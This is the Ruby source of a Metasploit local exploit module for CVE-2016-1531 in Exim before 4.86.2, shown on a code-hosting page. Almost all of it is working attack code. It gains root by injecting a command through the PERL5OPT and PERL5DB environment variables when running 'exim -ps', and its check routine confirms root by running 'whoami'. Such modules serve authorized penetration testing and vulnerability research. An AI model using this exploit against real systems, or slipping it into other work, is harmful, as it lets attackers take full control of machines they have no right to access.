Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/local/exim_perl_startup.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Exim "perl_startup" Privilege Escalation',13'Description' => %q{14This module exploits a Perl injection vulnerability in Exim < 4.86.215given the presence of the "perl_startup" configuration parameter.16},17'Author' => [18'Dawid Golunski', # Vulnerability discovery19'wvu' # Metasploit module20],21'References' => [22%w[CVE 2016-1531],23%w[EDB 39549],24%w[URL http://www.exim.org/static/doc/CVE-2016-1531.txt]25],26'DisclosureDate' => '2016-03-10',27'License' => MSF_LICENSE,28'Platform' => 'unix',29'Arch' => ARCH_CMD,30'SessionTypes' => %w[shell meterpreter],31'Privileged' => true,32'Payload' => {33'BadChars' => "\x22\x27" # " and '34},35'Targets' => [36['Exim < 4.86.2', {}]37],38'DefaultTarget' => 0,39'Notes' => {40'Reliability' => [REPEATABLE_SESSION],41'Stability' => [CRASH_SAFE],42'SideEffects' => []43}44)45)46end4748def check49if exploit('whoami') == 'root'50CheckCode::Vulnerable51else52CheckCode::Safe53end54end5556def exploit(cmd = payload.encoded)57# PERL5DB technique from http://perldoc.perl.org/perlrun.html58cmd_exec(%(PERL5OPT=-d PERL5DB='exec "#{cmd}"' exim -ps 2>&-))59end60end616263